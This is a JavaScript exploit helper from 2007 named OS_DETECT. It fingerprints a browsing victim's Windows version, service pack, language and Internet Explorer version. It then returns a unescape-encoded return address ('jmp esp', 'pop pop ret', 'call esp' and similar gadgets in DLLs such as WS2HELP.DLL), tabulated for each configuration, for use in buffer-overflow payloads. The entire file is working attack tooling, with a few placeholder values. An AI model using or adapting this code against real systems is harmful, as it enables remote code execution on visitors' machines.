/* OS_DETECT, (c) 2007, Jerome Athias  -  www.securinfos.com */
/* ======= Ver: 1.0.3 ======== */

//
// Copyright (c) 2007, Jerome Athias
// All rights reserved.
// 
// The OS_DETECT script is licensed under a BSD license, the text of which follows:
// 
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
// 
// 1. Redistributions of source code must retain the above copyright
//    notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright
//    notice, this list of conditions and the following disclaimer in the
//    documentation and/or other materials provided with the distribution.
// 3. Neither the name of Jerome Athias nor the name of Securinfos.
//    may be used to endorse or promote products derived from this software
//    without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//

function giveMeRET(opcode){
	//Default values:
	var os = "XP";
	var ossp = "SP2";
	var oslg = "English";
	var bw = "MSIE 7.0";
	var bwsp = "0";

	var ver = "";
	
		ver= navigator.appVersion;
		if (ver.indexOf('Windows 95') != -1) os = "95";
		else if (ver.indexOf('Windows NT 4') != -1) os = "NT";
		else if (ver.indexOf('Win 9x 4.9') != -1) os = "ME";
		else if (ver.indexOf('Windows 98') != -1) os = "98";
		else if (ver.indexOf('Windows NT 5.0') != -1) os = "2000";
		else if (ver.indexOf('Windows NT 5.1') != -1) os = "XP";
		else if (ver.indexOf('Windows NT 5.2') != -1) os = "2003";
		else if (ver.indexOf('Windows NT 5.3') != -1) os = "Vista";
	
	ver = ScriptEngineMajorVersion().toString();
	ver += ScriptEngineMinorVersion().toString();
	ver += ScriptEngineBuildVersion().toString();
	//document.write(ver+"<br>");
	if ( ver<"568820" ){
		switch (ver){
			case "514615":
				os="2000";
				ossp="SP0";
				break;
			case "515907":
				os="2000";
				ossp="SP3";	//or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109
				break;
			case "518513":
				os="2000";
				ossp="SP4";
				break;
		}
	}
	else{
		switch (ver){
			case "568827":
				os="2003";
				ossp="SP1";
				break;
			case "568831":	//XP SP2 -OR- 2K SP4
				if (os=="2000"){
					ossp="SP4";
				}
				else{
					os="XP";
					ossp="SP2";
				}
				break;
			case "568832":
				os="2003";
				ossp="SP2";
				break;
		}
	}

	ver = navigator.systemLanguage;
		switch (ver){
			case "fr":
				var oslg = "French";
				break;
			case "zh":
				var oslg = "Chinese";
				break;
			case "nl":
				var oslg = "Dutch";
				break;
			case "de":
				var oslg = "German";
				break;
			case "it":
				var oslg = "Italian";
				break;
			case "ja":
				var oslg = "Japanese";
				break;
			case "ko":
				var oslg = "Korean";
				break;
			case "pl":
				var oslg = "Polish";
				break;
			case "pt":
				var oslg = "Portuguese";
				break;
			case "ru":
				var oslg = "Russian";
				break;
			case "es":
				var oslg = "Spanish";
				break;
			case "sv":
				var oslg = "Swedish";
				break;
			case "tr":
				var oslg = "Turkish";
				break;
			case "uk":
				var oslg = "Ukrainian";
				break;
			case "vi":
				var oslg = "Vietnamese";
				break;
			default:	//"en", "en-*"
				var oslg = "English";
				break;
		}

	ver = navigator.userAgent;
		var res= ver.search(/MSIE 6.0/);
		if (res != -1){ bw = "MSIE 6.0";}

	ver = navigator.appMinorVersion;
		switch (ver){
			case ";SP2;":
				var bwsp = "SP2";
				break;
		}
	
	//document.write('Target is: Windows ' +os+' '+ossp+' '+oslg+' / '+bw+' '+bwsp +"<br>");
	
	ver = os+ossp;
		switch (ver){
			case "XPSP2":
				switch (oslg){
					case  "English":
						switch (opcode){
							case "jmp esp":
								return(unescape('%B8%AD%E1%7C'));	//0x7CE1ADB8	jmp ESP	SHELL32.DLL	OK July 2007 US/FR
							//	0x7D08982C
							//	return(unescape('%2c%98%08%7d'));
							//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	US	MD5: 9beacb911ca61e5881102188ab7fb431
							//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	GE	MD5: b3ada72d1e3e10a8f6430669dfc38ed0
							
							//	0x7C914393
							//	return(unescape('%93%43%91%7c'));
							//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	US	MD5: 9beacb911ca61e5881102188ab7fb431
							//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	PT	MD5: d781e40eebc31a3c6af96769f16205b4

							case "pop pop ret":
								return(unescape('%44%43%42%41'));
						}
						break;

					case "Portuguese":
						//	0x7C914393
						return(unescape('%93%43%91%7c'));
						//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	PT	MD5: d781e40eebc31a3c6af96769f16205b4
						//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	US	MD5: 9beacb911ca61e5881102188ab7fb431
						
						//0x7C82385D	PT/GE/SP/FR/IT

					case "Dutch":
						//	0x77D7C5FB
						return(unescape('%FB%C5%D7%77'));
						//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	NL	MD5: 3b728289dfa923a2c12be827382c2db1
						//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
						//	jmp ESP	WS2HELP.DLL	6.00.2900.2869	XP PRO SP2	FR	MD5: 610eb6ee6e7e055c4d6a4fcb771befe8
						//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	IT	MD5: 0c1f495c1761c126bc820f4de4c8b967
						
					//	return("0x77D7C60B");		//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	NL	MD5: 3b728289dfa923a2c12be827382c2db1
											//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
											//	jmp ESP	WS2HELP.DLL	6.00.2900.2869	XP PRO SP2	FR	MD5: 610eb6ee6e7e055c4d6a4fcb771befe8
											//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	IT	MD5: 0c1f495c1761c126bc820f4de4c8b967
					//	return("0x77D7C617");		//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	NL	MD5: 3b728289dfa923a2c12be827382c2db1
											//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
											//	jmp ESP	WS2HELP.DLL	6.00.2900.2869	XP PRO SP2	FR	MD5: 610eb6ee6e7e055c4d6a4fcb771befe8
											//	jmp ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	IT	MD5: 0c1f495c1761c126bc820f4de4c8b967

					case "Japanese":
						return("0x7C81518B");	//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	JA	MD5: b7a8832356d692b9f550b2f5bae85bd6
												//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
												//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	GE	MD5: b3ada72d1e3e10a8f6430669dfc38ed0
												//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	NL	MD5: 3b728289dfa923a2c12be827382c2db1
						//0x7C8369D8	JA/SP/GE/NL

					
					default:  //"French", "Spanish", "Italian", "German"
						switch (opcode){
							case "jmp esp":
						//	0x77D7AAEB
						return(unescape('%EB%AA%D7%77'));
						//	call ESP	WS2HELP.DLL	6.00.2900.2869	XP PRO SP2	FR	MD5: 610eb6ee6e7e055c4d6a4fcb771befe8
						//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
						//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	IT	MD5: 0c1f495c1761c126bc820f4de4c8b967
						//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO/Home SP2	GE	MD5: b3ada72d1e3e10a8f6430669dfc38ed0
					//	return("0x77D7BEFF");	//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
										//	call ESP	WS2HELP.DLL	6.00.2900.2869	XP PRO SP2	FR	MD5: 610eb6ee6e7e055c4d6a4fcb771befe8
										//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	IT	MD5: 0c1f495c1761c126bc820f4de4c8b967
										//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	GE	MD5: b3ada72d1e3e10a8f6430669dfc38ed0
					//	return("0x77D8519F");	//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
										//	call ESP	WS2HELP.DLL	6.00.2900.2869	XP PRO SP2	FR	MD5: 610eb6ee6e7e055c4d6a4fcb771befe8
					//	return("0x77D857BF");	//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
										//	call ESP	WS2HELP.DLL	6.00.2900.2869	XP PRO SP2	FR	MD5: 610eb6ee6e7e055c4d6a4fcb771befe8
					//	return("0x77D85E2B");	//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
										//	call ESP	WS2HELP.DLL	6.00.2900.2869	XP PRO SP2	FR	MD5: 610eb6ee6e7e055c4d6a4fcb771befe8
					//	return("0x77D86E8B");	//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
										//	call ESP	WS2HELP.DLL	6.00.2900.2869	XP PRO SP2	FR	MD5: 610eb6ee6e7e055c4d6a4fcb771befe8
					//	return("0x77D87927");	//	call ESP	WS2HELP.DLL	5.01.2600.2180	XP PRO SP2	SP	MD5: 0edf3501370a14befb27526cd06facee
										//	call ESP	WS2HELP.DLL	6.00.2900.2869	XP PRO SP2	FR	MD5: 610eb6ee6e7e055c4d6a4fcb771befe8
						
							case "jmp eax":
								return(unescape('%EB%AA%3F%7E'));
						}
						break;
				}	//switch (oslg)
				break;

			case "XPSP1":
				switch (oslg){
					case "English":
						switch (opcode){
							case "jmp esp":
								return("0x41414142");
												
							case "pop pop ret":
								return("0x41414142");
						}
						break;

					default:
						switch (opcode){
							case "jmp esp":	//"French", "Spanish", "Italian", "German", "Chinese"
								//	0x77D7EAC8
								return(unescape('%C8%EA%D7%77'));
								//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		FR	MD5: 66ec105c3fe9095f3b5d00475ef5a75c
								//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		SP	MD5: 53c33deacde36733273da3ee24ef9b65
								//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		IT	MD5: e49f945b10af8f161affc38f4fb7a52e
								//jmp ESP	WS2HELP.DLL		?		XP PRO SP1		GE	MD5: 17ed93b7da379ee57c481a35e24f2973
								//jmp ESP	WS2HELP.DLL		?		XP PRO SP1		CH	MD5: bd4f92ed3b5deb8477dab02b9990607c
							//	return("0x77D7F938");		//jmp ESP	WS2HELP.DLL		?		XP PRO SP1		CH	MD5: bd4f92ed3b5deb8477dab02b9990607c
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		SP	MD5: 53c33deacde36733273da3ee24ef9b65
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		IT	MD5: e49f945b10af8f161affc38f4fb7a52e
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		FR	MD5: 66ec105c3fe9095f3b5d00475ef5a75c
													//jmp ESP	WS2HELP.DLL		?		XP PRO SP1		GE	MD5: 17ed93b7da379ee57c481a35e24f2973
							//	return("0x77D7FA68");		//jmp ESP	WS2HELP.DLL		?		XP PRO SP1		CH	MD5: bd4f92ed3b5deb8477dab02b9990607c
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		SP	MD5: 53c33deacde36733273da3ee24ef9b65
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		IT	MD5: e49f945b10af8f161affc38f4fb7a52e
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		FR	MD5: 66ec105c3fe9095f3b5d00475ef5a75c
													//jmp ESP	WS2HELP.DLL		?		XP PRO SP1		GE	MD5: 17ed93b7da379ee57c481a35e24f2973

							case "pop pop ret":	//"Spanish", "Italian", "Dutch", "German"
								//	0x77F8F2B2
								return(unescape('%B2%F2%F8%77'));
								//pop ESP - pop - ret	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		SP	MD5: 53c33deacde36733273da3ee24ef9b65
								//pop ESP - pop - ret	WS2HELP.DLL	5.01.2600.0000	XP PRO SP1		IT	MD5: e49f945b10af8f161affc38f4fb7a52e
								//pop ESP - pop - ret	WS2HELP.DLL		?		XP PRO SP1		NL	MD5: d1588f506fd5cf8dae843e6a534adbb1
								//pop ESP - pop - ret	WS2HELP.DLL		?		XP PRO SP1		GE	MD5: 17ed93b7da379ee57c481a35e24f2973
						}
						break;
				}
				break;
			
			case "XPSP0":
				switch (oslg){
					case  "English":
						switch (opcode){
							case "jmp esp":
							

							
							case "pop pop ret":
								return("0x41414142");
						}
						break;
						
					case  "French":
						switch (opcode){
							case "jmp esp":
								//	0x77EB1933
								return(unescape('%33%19%EB%77'));
								//call ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0		FR	MD5: 66ec105c3fe9095f3b5d00475ef5a75c
								//call ESP	WS2HELP.DLL		?		XP PRO/Home SP0	GE	MD5: 17ed93b7da379ee57c481a35e24f2973
							case "call EDI":
								//	0x77EA4B2C
								return(unescape('%2C%4B%EA%77'));
								//call EDI	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0		FR	MD5: 66ec105c3fe9095f3b5d00475ef5a75c
								//call EDI	WS2HELP.DLL		?		XP PRO/Home SP0	GE	MD5: 17ed93b7da379ee57c481a35e24f2973
						}
						break;
					default:	//"Spanish", "Dutch", "Italian", "French"
						switch (opcode){
							case "jmp esp":
								//	0x77D7EAC8
								return(unescape('%C8%EA%D7%77'));
								//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0	SP	MD5: 53c33deacde36733273da3ee24ef9b65
								//jmp ESP	WS2HELP.DLL		?		XP PRO SP0	NL	MD5: d1588f506fd5cf8dae843e6a534adbb1
								//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0	IT	MD5: e49f945b10af8f161affc38f4fb7a52e
								//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0	FR	MD5: 66ec105c3fe9095f3b5d00475ef5a75c
							//	return("0x77D80938");		//Take care: contains \x09
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0	SP	MD5: 53c33deacde36733273da3ee24ef9b65
													//jmp ESP	WS2HELP.DLL		?		XP PRO SP0	NL	MD5: d1588f506fd5cf8dae843e6a534adbb1
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0	IT	MD5: e49f945b10af8f161affc38f4fb7a52e
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0	FR	MD5: 66ec105c3fe9095f3b5d00475ef5a75c
							//	return("0x77D80A68");		//Take care: contains \x0a
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0	SP	MD5: 53c33deacde36733273da3ee24ef9b65
													//jmp ESP	WS2HELP.DLL		?		XP PRO SP0	NL	MD5: d1588f506fd5cf8dae843e6a534adbb1
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0	IT	MD5: e49f945b10af8f161affc38f4fb7a52e
													//jmp ESP	WS2HELP.DLL	5.01.2600.0000	XP PRO SP0	FR	MD5: 66ec105c3fe9095f3b5d00475ef5a75c
							//0x77E7FC79
							
							case "pop pop ret":
								//	0x77F98210
								return(unescape('%10%82%F9%77'));
								//pop ESP - pop - ret	5.01.2600.0000	XP PRO SP0	FR	MD5: 66ec105c3fe9095f3b5d00475ef5a75c
								//pop ESP - pop - ret		?		XP PRO SP0	GE	MD5: 17ed93b7da379ee57c481a35e24f2973
								//pop ESP - pop - ret	5.01.2600.0000	XP PRO SP0	IT	MD5: e49f945b10af8f161affc38f4fb7a52e
						}
						break;
			case "2000SP4":
				switch (oslg){
					case  "Italian":
						//	0x77E14C29
						return(unescape('%29%4C%E1%77'));
						//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP4	IT	MD5: 63638f9bd7a89529fa7e2810caf6fabe
						//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K PRO SP4	US	MD5: 28336b1300ec048124197091354251b6

					default:	//"English", "Italian", "Dutch", "French"
						//	0x77F4B19B
						return(unescape('%9B%B1%F4%77'));
						//	call ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP4	US	MD5: 28336b1300ec048124197091354251b6
						//	call ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP4	IT	MD5: 63638f9bd7a89529fa7e2810caf6fabe
						//	call ESP	WS2HELP.DLL	5.00.2134.0001	2K PRO SP4	NL	MD5: 49ab0779d10ac96dd98f87ebd5443421
						//	call ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP4	FR	MD5: 3955131a3828060066ee2b657bb58956
				}
				break;

			case "2000SP3":
				switch (oslg){
					case  "English":
						//	0x77E1444C
						return(unescape('%4C%44%E1%77'));
						//	call ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP3	US	MD5: 28336b1300ec048124197091354251b6
						//	call ESP	WS2HELP.DLL	5.00.2134.0001	2K PRO SP3	NL	MD5: 49ab0779d10ac96dd98f87ebd5443421
					//	return("0x77E2AFC5");			//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP3	US	MD5: 28336b1300ec048124197091354251b6
												//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K PRO SP3	NL	MD5: 49ab0779d10ac96dd98f87ebd5443421
					//	return("0x77E388A7");			//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP3	US	MD5: 28336b1300ec048124197091354251b6
												//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K PRO SP3	NL	MD5: 49ab0779d10ac96dd98f87ebd5443421

						break;
					case  "French":
						return("0x44444444");
						break;
				}
				break;

			case "2000SP2":
				switch (oslg){
					case  "English":
						//	0x77E2492B
						return(unescape('%2B%49%E2%77'));
						//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP2	IT	MD5: 63638f9bd7a89529fa7e2810caf6fabe
						//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP2	US	MD5: 28336b1300ec048124197091354251b6
					//	return("0x77E27741");	//	call ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP2	IT	MD5: 63638f9bd7a89529fa7e2810caf6fabe
										//	call ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP2	US	MD5: 28336b1300ec048124197091354251b6

					case  "French":
						//Magical Alien address - (C) 2007 - Jerome Athias	;-)
						//	0x77E33F4D
						return(unescape('%4D%3F%E3%77'));
						//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP2	FR	MD5: 3955131a3828060066ee2b657bb58956
						//	jmp ESP	WS2HELP.DLL		?		2K3 SRV SP1	GE	MD5: 934911cb35de483d690eda1307151186
				}
				break;

			case "2000SP1":
				switch (opcode){
					case "jmp esp":
						switch (oslg){
							case  "Chinese":
							
							default:
								//	0x77F967AB
								return(unescape('%AB%67%F9%77'));
								//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP1		US	MD5: 28336b1300ec048124197091354251b6
								//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP1		GE	MD5: cb3b65680ed15a1e2dd372beb48e2d4a
								//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP1			IT	MD5: 63638f9bd7a89529fa7e2810caf6fabe
								//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K PRO SP1			NL	MD5: 49ab0779d10ac96dd98f87ebd5443421
						}
						break;

					case "pop pop ret":
						//	0x77FB0E08
						return(unescape('%08%0E%FB%77'));
						//	pop ESP - pop - ret	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP1		US	MD5: 28336b1300ec048124197091354251b6
						//	pop ESP - pop - ret	WS2HELP.DLL	5.00.2134.0001	2K PRO SP1			NL	MD5: 49ab0779d10ac96dd98f87ebd5443421
						//	pop ESP - pop - ret	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP1		FR	MD5: 3955131a3828060066ee2b657bb58956
						//	pop ESP - pop - ret	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP1		GE	MD5: cb3b65680ed15a1e2dd372beb48e2d4a


				}
				break;

			case "2000SP0":
				switch (opcode){
					case "jmp esp":
						switch (oslg){
							case  "English":
								//	0x77E33F4D
								return(unescape('%4D%3F%E3%77'));
								//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP0		US	MD5: 28336b1300ec048124197091354251b6
								//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP0		IT	MD5: 63638f9bd7a89529fa7e2810caf6fabe
							//	return("0x77E33F69");			//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP0		US	MD5: 28336b1300ec048124197091354251b6
														//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP0		IT	MD5: 63638f9bd7a89529fa7e2810caf6fabe
							//	return("0x77E33F6D");			//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP0		US	MD5: 28336b1300ec048124197091354251b6
														//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP0		IT	MD5: 63638f9bd7a89529fa7e2810caf6fabe

							case  "French":
								return("0x44444444");
								break;
						}
						break;

					case "pop pop ret":
						//	0x77FB0BB3
						return(unescape('%B3%0B%FB%77'));
						//	pop ESP - pop - ret	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP0		US	MD5: 28336b1300ec048124197091354251b6
						//	pop ESP - pop - ret	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP0		GE	MD5: cb3b65680ed15a1e2dd372beb48e2d4a
						//	pop ESP - pop - ret	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP0		FR	MD5: 3955131a3828060066ee2b657bb58956
						//	pop ESP - pop - ret	WS2HELP.DLL	5.00.2134.0001	2K SRV/PRO SP0		IT	MD5: 63638f9bd7a89529fa7e2810caf6fabe
						//	0x77FB2B36
				}
				break;

			case "2003SP1":
				switch (oslg){
					case  "German":
						//Magical Alien address - (C) 2007 - Jerome Athias	;-)
						//	0x77E33F4D
						return(unescape('%4D%3F%E3%77'));
						//	jmp ESP	WS2HELP.DLL		?		2K3 SRV SP1	GE	MD5: 934911cb35de483d690eda1307151186
						//	jmp ESP	WS2HELP.DLL	5.00.2134.0001	2K SRV SP2	FR	MD5: 3955131a3828060066ee2b657bb58956
					//	return("0x77E94B28");	//	jmp ESP	WS2HELP.DLL		?		2K3 SRV SP1/R2	GE	MD5: 934911cb35de483d690eda1307151186

					case  "French":
						return("0x44444444");
						break;
				}
				break;
		}
}
}